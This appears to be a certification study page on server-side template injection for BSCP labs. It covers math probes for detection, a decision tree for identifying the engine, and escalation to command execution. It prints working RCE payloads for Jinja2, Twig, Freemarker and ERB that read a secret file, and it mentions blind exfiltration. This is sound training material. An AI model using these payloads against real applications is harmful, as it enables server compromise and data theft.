Skip to content

Server-Side Template Injection (SSTI)

← Back to index · Stage 3 (read the secret) · Read the mindset page first.

Why it exists: templating engines (Jinja2, Twig, Freemarker…) render pages by evaluating {{ expressions }} in a template. If the app builds the template string by concatenating your input into it — rather than passing your input as data to a fixed template — the engine evaluates your expression, and most engines expose a path from expression evaluation to full command execution. On BSCP it's a Stage-3 route: an admin feature that renders your input (an email template, a custom greeting) → RCE → read the secret.

The one rule: detect → identify the engine → escalate to command execution → read the file. Don't fire an engine-specific payload until you know the engine — the wrong syntax just reflects harmlessly.

Decision tree

flowchart TD
  A["Inject a math probe"] --> B{"Does it evaluate?"}
  B -->|no, reflected literally| X["Not SSTI -> test XSS instead"]
  B -->|yes, returns 49| C{"Which syntax worked?"}
  C -->|dollar-brace| FM["Freemarker / Velocity"]
  C -->|double-brace| JT["Jinja2 / Twig"]
  C -->|erb tags| ERB["Ruby ERB"]
  FM --> RCE["Escalate to command exec -> cat the secret"]
  JT --> RCE
  ERB --> RCE

Reading the response: the detect step is reading the response — ${7*7} (or {{7*7}}) coming back as 49 means it evaluated (SSTI); coming back literally as ${7*7} means it didn't (probably reflected XSS instead). Then {{7*'7'}} discriminates the engine by the number returned — 49 = Twig, 7777777 = Jinja. You're reading arithmetic to fingerprint the engine before you pick an RCE payload.

1. Detect — why math

Why a math probe: ${7*7} returns 49 only if something evaluated it; if it comes back literally as ${7*7}, your input is being treated as data (not SSTI — probably reflected XSS instead). Math is unambiguous proof of evaluation.

${7*7}   {{7*7}}   <%= 7*7 %>   #{7*7}   ${{7*7}}

2. Identify the engine — why it matters

The escalation payload is engine-specific, so the wrong guess wastes time. The which-delimiter-worked plus a discriminator pins it:

Engine Evaluates Discriminator
Jinja2 (Python) {{7*7}} {{7*'7'}} → 7777777
Twig (PHP) {{7*7}} {{7*'7'}} → 49
Freemarker (Java) ${7*7} has ?new() builtin
ERB (Ruby) <%= 7*7 %> Rails app

{{7*'7'}} alone distinguishes the two double-brace engines — read the number it returns.

3. Escalate — why these reach the OS

Each payload walks the engine's object model out to an OS command function (Python's os, PHP's system, Java's Runtime):

# Jinja2 — walk from a builtin object to os.popen
{{cycler.__init__.__globals__.os.popen('cat /home/carlos/secret').read()}}
# Twig — abuse a filter to reach system()
{{['cat /home/carlos/secret']|filter('system')}}
# Freemarker
<#assign e="freemarker.template.utility.Execute"?new()>${e("cat /home/carlos/secret")}
# ERB
<%= `cat /home/carlos/secret` %>

If RCE is sandboxed, some BSCP labs only expose template context objects — a config holding the secret. Walk the object graph ({{config}}, {{dump(_context)}}) before reaching for command exec.

Failure modes

  • Probe reflected literally → not SSTI; it's probably reflected XSS — switch pages.
  • Evaluates but RCE blocked → a sandbox; try the engine's sandbox-escape gadget, or read context objects for the secret directly.
  • Wrong escalation payload → re-run the identify step; {{7*'7'}} separates Jinja (7777777) from Twig (49).
  • No output → blind; exfil via Collaborator or write to the web root.